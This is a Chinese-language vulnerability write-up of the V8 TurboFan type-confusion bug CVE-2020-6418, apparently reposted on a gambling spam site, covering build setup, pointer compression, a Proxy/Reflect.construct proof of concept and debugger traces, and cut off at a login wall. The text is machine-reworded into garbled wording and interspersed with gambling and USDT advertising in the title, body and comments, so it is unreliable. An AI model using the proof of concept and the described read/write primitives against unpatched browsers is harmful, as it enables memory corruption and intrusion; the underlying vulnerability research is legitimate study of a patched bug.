欢迎进入UG环球官网(环球UG)!

usdt支付接口(www.caibao.it):CVE-2020-6418 V8破绽剖析条记

admin2个月前257

前言

最近剖析了一下今年二月份宣布的V8破绽CVE-2020-6418,该破绽属于JIT优化历程中单个OpCodeside effect问题。虽然之前剖析过两个V8的破绽,但都没有涉及优化,以是对这一块照样空缺,若是有失足的地方迎接师傅们指出。

环境搭建

之前都是照着V8环境搭建,100%乐成版在虚拟机上搭V8gdb实在是用的不习惯,以是就想着能不能在windows上边搞,尝试了一下发现实在成本也不高,有些地方反而比linux要利便,所需工具如下:

署理工具: 酸酸乳 4.9.2
Git: 2.22.0.windows.1
Curl: curl 7.55.1 (Windows) libcurl/7.55.1 WinSSL
os: Microsoft Windows 10 专业版 10.0.19041

酸酸乳设置

首先开启全局模式,然后打开选项设置->内陆署理,举行如下设置:

下令行设置

由于要从git拉代码,以是我们需要给他设置一下署理,这样就能通过我们的署理来下载。

git config --global https.proxy socks5://127.0.0.1:1080
 git config --global http.proxy socks5://127.0.0.1:1080
 git config --global git.proxy socks5://127.0.0.1:1080

设置的时刻还会用到curl,也需要通过署理来下载。

, 搭建的时刻可能会失败,每次都要输下令太烦了,以是最好照样设置一下环境变量对照利便
 set HTTP_PROXY=socks5://127.0.0.1:1080
 set HTTPS_PROXY=socks5://127.0.0.1:1080

在下令行测试一下效果

depot_tools

depot_tools是谷歌官方提供的代码管理工具集,我们需要先去github下载。

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git

depot_tools加入到PATH环境变量中,我们之后需要多次挪用其中的工具。由于后续我们使用一些工具的时刻,depot_tools会自动下载导致失败,以是置零之后就会使用内陆的工具链,详细操作如下:

// 同理,最好添加到环境变量
 set DEPOT_TOOLS_WIN_TOOLCHAIN=0
 set GYP_MSVS_VERSION=2019

另外,若是泛起了如下内容

v8/buildtools/win/clang-format.exe.sha1' in 'D:\0x2l_v8'
NOTICE: You have PROXY values set in your environment, but gsutilin depot_tools does not (yet) obey them.
Also, --no_auth prevents the normal BOTO_CONFIG environmentvariable from being used.
To use a proxy in this situation, please supply those settingsin a .boto file pointed to by the NO_AUTH_BOTO_CONFIG environmentvariable.

那你需要执行如下下令:

echo [Boto] > D:\0x2l_v8\proxy.boto
 echo proxy=127.0.0.1 >> D:\0x2l_v8\proxy.boto
 echo proxy_port=10802 >> D:\0x2l_v8\proxy.boto
 , 下面的也可以弄环境变量
 set NO_AUTH_BOTO_CONFIG=D:\0x2l_v8\proxy.boto

V8

接着最先下载V8的代码以及天生项目文件。需要注重的是,fetch v8刚最先的时刻会有很长一段时间卡住不动,不要忧郁,他只是没有输出而已,只要没有报错,那就是在正常运行,耐心守候就好了。

, 下载v8的repo
 fetch v8
 cd v8
 , 若是是要调洞的话,就要在这里切到有破绽的谁人commit
 , git reset --hard [commit hash with vulnerability]
 git reset --hard bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07
 gclient sync

若是这几条下令没出偏差的话,那你基本就乐成了,不外感受搭建V8环境的问题基本都是出在这一步的,所有执行完之后可以再gclient sync一下,没问题就继续。

之后用ninja直接编译

, 提供默认的gn参数给args.gn文件,辅助我们编译出debug版本和release版本
 python tools\dev\v8gen.py x64.release
 python tools\dev\v8gen.py x64.debug
 , 自动编译
 python tools\dev\gm.py x64.debug d8
 python tools\dev\gm.py x64.release d8

我的电脑8G内存,跑了也许十分钟左右,乐成编译。

靠山知识

指针压缩

之前剖析的V8版本都对照老,以是SmiObject的内存结构是这样:

Smi 64bit
+----------------------+----------------+---+
|                      |                |   |
| Signed value(32bit)  | Padding(31bit) | 0 |
|                      |                |   |
+----------------------+----------------+---+

Object 64bit
+---------------------------------------+---+
|                                       |   |
|            Pointer(63bit)             | 1 |
|                                       |   |
+---------------------------------------+---+

新版本的V8采用了指针压缩手艺来提高性能,异常异常简朴地来说就是申请出4GB的空间作为堆空间分配工具,而且将原本的64bit指针缩减为32bit来示意:

Smi 32bit
+---------------------+---+
|                     |   |
| Signed value(31bit) | 0 |
|                     |   |
+---------------------+---+

Object 32bit
+-----------------+---+          +---------------------+
|                 |   |          |                     |
|  offset (31bit) | 1 +<---------+     base(r13)       |
|                 |   |          |                     |
+-----------------+---+          +---------------------+

Smi对照简朴,直接用32位指针储存就好,保留最后一bitpointer tagObject被分为两部分示意,32位指针中除了pointer tag之外还保留了低32位地址,高32位则被保留在r13寄存器中作为base,当需要取值的时刻,就使用base+offset来示意Object。下面稍微熟悉一下压缩后的数据示意:

// Flags: --allow-natives-syntax

let a = [0, 1, 2, 3, 4];
%DebugPrint(a);
%SystemBreak();

打印效果如下:

DebugPrint: 0000037108086E39: [JSArray]
 - map: 0x0371082417f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x037108208dcd <JSArray[0]>
 - elements: 0x0371082109d1 <FixedArray[5]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 5
 - properties: 0x0371080406e9 <FixedArray[0]> {
    ,length: 0x037108180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x0371082109d1 <FixedArray[5]> {
           0: 0
           1: 1
           2: 2
           3: 3
           4: 4
 }

查看内存

,

www.allbetgame.us

欢迎进入欧博平台网站(www.aLLbetgame.us),www.aLLbetgame.us开放欧博平台网址、欧博注册、欧博APP下载、欧博客户端下载、欧博游戏等业务。

,
0:000> dd 0000037108086E39-1
00000371`08086e38  082417f1 080406e9 082109d1 0000000a // map properties elements length

0:000> r r13
r13=0000037100000000

注重,这里r13+offset就是Object的地址。接着看Smi

0:000> dd 00000371082109d1-1
00000371`082109d0  080404d9 0000000a 00000000 00000002 // map length 0 1
00000371`082109e0  00000004 00000006 00000008          // 2 3 4

内存中参数的值正是value<<1的巨细。更详细的内容请看Pointer Compression in V8。

BigUint64Array

在之前调试的时刻,读取8字节的内存都是通过Float64Array来实现的,然则由于float是用小数编码保留的,操作的时刻还需要在Float64Uint64之间转换。幸好新版本可以用BigUint64Array工具来操作了,稍微写个小例子试验一下:

var biguint64 = new BigUint64Array(2);
biguint64[0] = 0xc00cn;
%DebugPrint(biguint64);
%SystemBreak();

查看在内存中的结构:

DebugPrint: 0000021C08085F65: [JSTypedArray]
 - map: 0x021c08240671 <Map(BIGUINT64ELEMENTS)> [FastProperties]
 - prototype: 0x021c08202a19 <Object map = 0000021C08240699>
 - elements: 0x021c08085f4d <ByteArray[16]> [BIGUINT64ELEMENTS]
 - embedder fields: 2
 - buffer: 0x021c08085f1d <ArrayBuffer map = 0000021C08241189>
 - byte_offset: 0
 - byte_length: 16
 - length: 2
 - data_ptr: 0000021C08085F54
   - base_pointer: 0000000008085F4D
   - external_pointer: 0000021C00000007
 - properties: 0x021c080406e9 <FixedArray[0]> {}
 - elements: 0x021c08085f4d <ByteArray[16]> {
           0: 42
           1: 0
 }
 - embedder fields = {
    0, aligned pointer: 0000000000000000
    0, aligned pointer: 0000000000000000
 }
0:000> dd 0000037308085FB5-1
00000373`08085fb4  08240671 080406e9 08085f9d 08085f6d // map properties elements buffer
0:000> dp 0000037308085FB5-1+10
00000373`08085fc4  00000000`00000000 00000000`00000010 // byte_offset byte_length
00000373`08085fd4  00000000`00000002 00000373`00000007 // length external_pointer
00000373`08085fe4  00000000`08085f9d                   // base_pointer
0:000> ?00000373`00000007+00000000`08085f9d
Evaluate expression: 3792590888868 = 00000373`08085fa4 // data_ptr=external_pointer+base_pointer
0:000> dp 00000373`08085fa4
00000373`08085fa4  deaddead`deaddead c00cc00c`c00cc00c // biguint64[0] biguint64[1]

data_ptr指向我们的目的内存,且没有直接用64位数字来示意。它的值由external_pointer+base_pointer获得,划分示意data_ptr的高32位地址和低32位地址。回忆一下指针压缩中的4GB内存空间,我们可以得出以下结论:

  • 若是我们控制了base_pointer,相当于实现了4GB堆地址空间的随便读写。
  • 若是我们读取了external_pointer的值,相当于获得base的值(保留在r13寄存器)。
  • 若是external_pointer&&base_pointer都被我们控制,我们就实现了随便地址读写。

inlining

TurboFan器械对照多,我稍微提一下和本破绽相关的内容,更详细的器械请看我写出来的链接。下图是TurboFan的优化历程

Inlining的目的是将目的函数内联到当前函数之中,不仅节省了函数挪用的分外开销,还更利便后续的其他优化(冗余缩减,逃逸剖析等等)。详细的实现分为两种:

  1. General Inlining。一样平常用来处置用户代码的内联,在JSInliner针对 JSCallFunctionJSCallConstruct 举行处置,用 BytecodeGraphBuilder 凭据 Interpreter 天生的 Bytecodecallee 直接天生一个子图,最终将 Call 节点替换为该子图
  2. Builtin Inlining。一样平常用来处置js内置函数的内联。TurboFan 将会在两个地方举行 Builtin 的内联,JSBuiltinReducer 处置的 Inline 必须在 Type Pass 后面,也就是需要采集 Type InformationJSCallReducer 处置的则稍早,处置一些类型严酷的 Builtin 好比 Array.prototype.map
    • inlining/native context specialization pass: JSCallReducer
    • typed lowering pass: JSBuiltinReducer

更详细的内容请看:An overview of the TurboFan compiler,A Tale Of TurboFan,TurboFan Inlining。

破绽剖析

poc剖析

首先查看回归测试,我们可以获得以下信息:

[turbofan] Fix bug in receiver maps inference

JSCreate can have side effects (by looking up the prototype on an
object), so once we walk past that the  *** ysis result must be marked
as "unreliable".

破绽的成因在于turbofan以为JSCreate结点不会存在side effects,因此并未将其标记为unreliable。但我们尚不清晰这个破绽会造成什么危害,接着看一下我修改后的的poc

// Flags: --allow-natives-syntax

let a = [0, 1, 2, 3, 4];    // 建立时的类型是PACKED_SMI_ELEMENTS
function empty() {}
function f(p) {
    // Reflect.construct可以天生JSCreate结点
    // 作为pop函数的参数可以将JSCreate结点加入到effech chain之中,缘故原由之后会说
    return a.pop(Reflect.construct(empty, arguments, p));
}
// new Proxy(target, handler)设置回调函数 
// handler.get()用于阻挡工具的读取属性操作
let p = new Proxy(Object, {
    get: () => {
        %DebugPrint(a);
        %SystemBreak();
        a[0] = 1.1; // 修改之后的类型是PACKED_DOUBLE_ELEMENTS
        %DebugPrint(a);
        %SystemBreak();
        return Object.prototype;
    }
});

function main(p) {
    return f(p);
}

%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
main(empty);    // a = [0, 1, 2, 3]
main(empty);    // a = [0, 1, 2]
%OptimizeFunctionOnNextCall(main);
// 当f()的第三个参数为p时,会挪用p.prototype来建立新的工具
// 接见属性的时刻自然会被handler.get()阻挡,也就会跳转到我们设置的get函数
main(p);

第一眼看到的内容如下:

  1. poc首先设置了属性读取操作的处置器,并在其中界说了会修改了a数组类型的操作。

  2. 接着通过Reflect.construct(empty, arguments, p)来触发处置器,属性读取之余修改了数组类型,看一下修改前后的内存结构:

    DebugPrint: 0000002108085EFD: [JSArray]
      - map: 0x0021082417f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
      - prototype: 0x002108208dcd <JSArray[0]>
      - elements: 0x00210808608d <FixedArray[5]> [PACKED_SMI_ELEMENTS]
      - length: 3
      - properties: 0x0021080406e9 <FixedArray[0]> {
         ,length: 0x002108180165 <AccessorInfo> (const accessor descriptor)
      }
      - elements: 0x00210808608d <FixedArray[5]> {
                0: 0
                1: 1
                2: 2
              3-4: 0x002108040385 <the_hole>
      }
    
     // 修改前
     0:000> dd 0x00210808608d-1
     00000021`0808608c  080404b1 0000000a 00000000 00000002 // map length 0 1
     00000021`0808609c  00000004                            // 2
    DebugPrint: 0000002108085EFD: [JSArray]
      - map: 0x002108241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
      - prototype: 0x002108208dcd <JSArray[0]>
      - elements: 0x002108086149 <FixedDoubleArray[5]> [PACKED_DOUBLE_ELEMENTS]
      - length: 3
      - properties: 0x0021080406e9 <FixedArray[0]> {
         ,length: 0x002108180165 <AccessorInfo> (const accessor descriptor)
      }
      - elements: 0x002108086149 <FixedDoubleArray[5]> {
                0: 1.1
                1: 1
                2: 2
              3-4: <the_hole>
      }
    
     // 修改后
     0:000> dd 0000002108086149-1
     00000021`08086148  08040a3d 0000000a                   // map length
     0:000> dq 0000002108086149-1+8
     00000021`08086150  3ff19999`9999999a 3ff00000`00000000 // 1.1 1
     00000021`08086160  40000000`00000000                   // 2
  3. 3. a.pop触发破绽。

    0:000> g
     Breakpoint 1 hit
     00000021`000c2c3d 418b448807      mov     eax,dword ptr [r8+rcx*4+7] ds:00000021`080861bc=00000000
     0:000> r
     rax=0000002108085efd rbx=00000148ef6e7080 rcx=0000000000000002
     rdx=0000002108086150 rsi=0000000000000000 rdi=0000002108085efd
     rip=00000021000c2c3d rsp=0000003cb4dfeaa0 rbp=0000003cb4dfeac0
      r8=00000021080861ad  r9=0000000000000004 r10=0000002108086150
     r11=0000002108085efd r12=00000021080861ad r13=0000002100000000
     r14=00000021080861ac r15=00000021080861c8
     iopl=0         nv up ei pl nz na pe nc
     cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
     00000021`000c2c3d 418b448807      mov     eax,dword ptr [r8+rcx*4+7] ds:00000021`080861bc=00000000
     0:000> dd 0000002108085EFD-1
     00000021`08085efc  08241891 080406e9 080861ad 00000004
     0:000> dd 00000021080861ad-1
     00000021`080861ac  08040a3d 0000000a 9999999a 3ff19999
     00000021`080861bc  00000000 3ff00000 00000000 00000000

    dword ptr说明晰pop函数仍然把数组看成是PACKED_SMI_ELEMENTS,殊不知数组的类型已经改变,原本存放00000004的内存处已经变成了3ff0000000000000的低八字节。

连系commit中给出的信息,推测是在优化后的a.pop函数挪用的时刻,忽略了JSCreateside-effect,并没有对a数组的类型举行检查,从而造成了类型混淆。

源码剖析

patch位于InferReceiverMapsUnsafe函数中,该函数会遍历effect chain来检查opcode是否拥有side-effect,返回值有以下三个

// Walks up the {effect} chain to find a witness that provides map
  // information about the {receiver}. Can look through potentially
  // side effecting nodes.
  enum InferReceiverMapsResult {
    kNoReceiverMaps,         // No receiver maps inferred.
    kReliableReceiverMaps,   // Receiver maps can be trusted.
    kUnreliableReceiverMaps  // Receiver maps might have changed (side-effect).
  };

由于问题发生在JSCreate中,以是着重看一下这一块的实现就好

// 完整文件位于src\compiler\node-properties.cc
NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
    JSHeapBroker* broker, Node* receiver, Node* effect,
    ZoneHandleSet<Map>* maps_return) {

  InferReceiverMapsResult result = kReliableReceiverMaps;
  while (true) {
    switch (effect->opcode()) {
      case IrOpcode::kJSCreate: {
        // patch后将效果标记为kUnreliableReceiverMaps
        // result = kUnreliableReceiverMaps;
        break;
      }
    }
  }
}

patch之前,函数对于JSCreate返回kReliableReceiverMaps,即以为JSCreate结点的类型不会被改变。我们对这个地方下断点看一下

0:000> bl
     0 e Disable Clear  00007ff6`93479f04  [D:\0x2l_v8\v8\src\compiler\node-properties.cc @ 380]     0001 (0001)  0:**** d8!v8::internal::compiler::NodeProperties::InferReceiverMapsUnsafe+0x2b4
0:000> g
Breakpoint 0 hit
d8!v8::internal::compiler::NodeProperties::InferReceiverMapsUnsafe+0x2b4:
00007ff6`93479f04 4889f1          mov     rcx,rsi
0:000> k
 , Child-SP          RetAddr               Call Site
00 00000067`5a9fda70 00007ff6`93472634     d8!v8::internal::compiler::NodeProperties::InferReceiverMapsUnsafe+0x2b4 [D:\0x2l_v8\v8\src\compiler\node-properties.cc @ 380] 
01 00000067`5a9fdb50 00007ff6`933a844f     d8!v8::internal::compiler::MapInference::MapInference+0x54 [D:\0x2l_v8\v8\src\compiler\map-inference.cc @ 21] 
02 00000067`5a9fdbe0 00007ff6`933a55a4     d8!v8::internal::compiler::JSCallReducer::ReduceArrayPrototypePop+0xff [D:\0x2l_v8\v8\src\compiler\js-call-reducer.cc @ 4925] 
03 00000067`5a9fde10 00007ff6`9339c14e     d8!v8::internal::compiler::JSCallReducer::ReduceJSCall+0x1e4 [D:\0x2l_v8\v8\src\compiler\js-call-reducer.cc @ 3989] 
04 00000067`5a9fdec0 00007ff6`9339adf3     d8!v8::internal::compiler::JSCallReducer::ReduceJSCall+0x1de [D:\0x2l_v8\v8\src\compiler\js-call-reducer.cc @ 3783] 
05 00000067`5a9fdff0 00007ff6`933858f4     d8!v8::internal::compiler::JSCallReducer::Reduce+0x53 [D:\0x2l_v8\v8\src\compiler\js-call-reducer.cc @ 2210] 
06 00000067`5a9fe080 00007ff6`93385347     d8!v8::internal::compiler::GraphReducer::Reduce+0x94 [D:\0x2l_v8\v8\src\compiler\graph-reducer.cc @ 90] 
07 00000067`5a9fe1e0 00007ff6`93385038     d8!v8::internal::compiler::GraphReducer::ReduceTop+0x167 [D:\0x2l_v8\v8\src\compiler\graph-reducer.cc @ 159] 
08 00000067`5a9fe260 00007ff6`93493bf1     d8!v8::internal::compiler::GraphReducer::ReduceNode+0xc8 [D:\0x2l_v8\v8\src\compiler\graph-reducer.cc @ 56] 
09 00000067`5a9fe2c0 00007ff6`93487c85     d8!v8::internal::compiler::InliningPhase::Run+0x541 [D:\0x2l_v8\v8\src\compiler\pipeline.cc @ 1412] 
0a 00000067`5a9fe680 00007ff6`934839c2     d8!v8::internal::compiler::PipelineImpl::Run<v8::internal::compiler::InliningPhase>+0xf5 [D:\0x2l_v8\v8\src\compiler\pipeline.cc @ 1322] 
0b 00000067`5a9fe720 00007ff6`934833bc     d8!v8::internal::compiler::PipelineImpl::CreateGraph+0x82 [D:\0x2l_v8\v8\src\compiler\pipeline.cc @ 2393] 
0c 00000067`5a9fe780 00007ff6`92c4e775     d8!v8::internal::compiler::PipelineCompilationJob::PrepareJobImpl+0x1bc [D:\0x2l_v8\v8\src\compiler\pipeline.cc @ 1124] 
0d 00000067`5a9fe7d0 00007ff6`92c5236f     d8!v8::internal::OptimizedCompilationJob::PrepareJob+0x265 [D:\0x2l_v8\v8\src\codegen\compiler.cc @ 221] 
0e (Inline Function) --------`--------     d8!v8::internal::`anonymous namespace'::GetOptimizedCodeNow+0x20f [D:\0x2l_v8\v8\src\codegen\compiler.cc @ 750] 
0f 00000067`5a9fe940 00007ff6`92c52ea9     d8!v8::internal::`anonymous namespace'::GetOptimizedCode+0xbdf [D:\0x2l_v8\v8\src\codegen\compiler.cc @ 911] 
10 00000067`5a9febc0 00007ff6`9300fa5f     d8!v8::internal::Compiler::CompileOptimized+0xa9 [D:\0x2l_v8\v8\src\codegen\compiler.cc @ 1493] 
11 (Inline Function) --------`--------     d8!v8::internal::__RT_impl_Runtime_CompileOptimized_NotConcurrent+0x71 [D:\0x2l_v8\v8\src\runtime\runtime-compiler.cc @ 90] 
12 00000067`5a9fec20 00007ff6`935b4e1c     d8!v8::internal::Runtime_CompileOptimized_NotConcurrent+0x9f [D:\0x2l_v8\v8\src\runtime\runtime-compiler.cc @ 82] 
13 00000067`5a9fec90 00007ff6`935483ed     d8!Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit+0x3c
14 00000067`5a9fece0 00007ff6`93548291     d8!Builtins_InterpreterEntryTrampoline+0x22d
15 00000067`5a9fed10 00007ff6`93545d1e     d8!Builtins_InterpreterEntryTrampoline+0xd1
16 00000067`5a9fed70 00007ff6`9354590c     d8!Builtins_JSEntryTrampoline+0x5e
17 00000067`5a9fed98 00007ff6`92cc4196     d8!Builtins_JSEntry+0xcc
18 (Inline Function) --------`--------     d8!v8::internal::GeneratedCode<unsigned long long,unsigned long long,unsigned long long,unsigned long long,unsigned long long,long long,unsigned long long **>::Call+0x18 [D:\0x2l_v8\v8\src\execution\simulator.h @ 142] 
19 00000067`5a9feeb0 00007ff6`92cc33e5     d8!v8::internal::`anonymous namespace'::Invoke+0xd86 [D:\0x2l_v8\v8\src\execution\execution.cc @ 367] 
1a 00000067`5a9ff090 00007ff6`92b952af     d8!v8::internal::Execution::Call+0x125 [D:\0x2l_v8\v8\src\execution\execution.cc @ 461] 
1b 00000067`5a9ff140 00007ff6`92b762ae     d8!v8::Script::Run+0x2af [D:\0x2l_v8\v8\src\api\api.cc @ 2186] 
1c 00000067`5a9ff2d0 00007ff6`92b8148b     d8!v8::Shell::ExecuteString+0x73e [D:\0x2l_v8\v8\src\d8\d8.cc @ 626] 
1d 00000067`5a9ff580 00007ff6`92b83a35     d8!v8::SourceGroup::Execute+0x27b [D:\0x2l_v8\v8\src\d8\d8.cc @ 2708] 
1e 00000067`5a9ff640 00007ff6`92b85779     d8!v8::Shell::RunMain+0x245 [D:\0x2l_v8\v8\src\d8\d8.cc @ 3192] 
1f 00000067`5a9ff770 00007ff6`937a9ef8     d8!v8::Shell::Main+0x1309 [D:\0x2l_v8\v8\src\d8\d8.cc @ 3820] 
20 (Inline Function) --------`--------     d8!invoke_main+0x22 [d:\agent\_work\63\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 78] 
21 00000067`5a9ffcb0 00007fff`9aa27034     d8!__scrt_common_main_seh+0x10c [d:\agent\_work\63\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288] 
22 00000067`5a9ffcf0 00007fff`9bb1d0d1     KERNEL32!BaseThreadInitThunk+0x14
23 00000067`5a9ffd20 00000000`00000000     ntdll!RtlUserThreadStart+0x21

凭据客栈可知,上层函数是MapInference类的组织函数,返回之后看一下详细实现

// 完整代码见src\compiler\map-inference.cc
MapInference::MapInference(JSHeapBroker* broker, Node* object, Node* effect)
    : broker_(broker), object_(object) {
登录并阅读全文
上一篇 下一篇

猜你喜欢

网友评论

  • 2021-01-27 00:00:05

    Allbet欢迎进入allbet欧博官网。allbet欧博官网开放ALLBET欧博真人客户端、Allbet代理网页版、Allbet会员网页版、Allbet会员注册、Allbet代理开户、Allbet电脑客户端下载、Allbet手机版下载等业务。收藏评论,一气呵成

  • 2021-01-31 00:01:50

    去年,Uniswap、Curve和1inch等备受瞩目的DeFi项目公布了治理Token,并以追溯性空投的形式,重金奖励已往的协议用户。会走红全网的

  • 2021-02-18 00:00:50

    环球UG欢迎进入环球UG官网(UG环球),环球UG官方网站:www.ALLbetgame.us开放环球UG网址访问、环球UG会员注册、环球UG代理申请、环球UG电脑客户端、环球UG手机版下载等业务。来了来了我来了

    • 2021-03-16 13:59:48

      @USDT回收 阳光在线企业邮局(原诚信在线官网现平心在线)现已开放阳光在线电脑版、手机版下载、企业邮局登录、会员开户、代理合作等服务。扶我起来我还能看!

  • 2021-03-16 00:03:40

    克日,微信APP升级8.0版本,有网友惊讶的发现,其中Emoji脸色“左哼哼”消逝了。我超爱看的

  • 2021-08-18 00:05:46

    皇冠足球app皇冠足球app(www.huangguan.us)是一个开放皇冠即时比分、皇冠官网手机版下载、解决皇冠app怎么下载、皇冠足球怎么注册的皇冠官网平台。皇冠足球app(www.huangguan.us)上登录线路最新、新2皇冠网址更新最快。充电接着看

随机文章
热门文章
热评文章
热门标签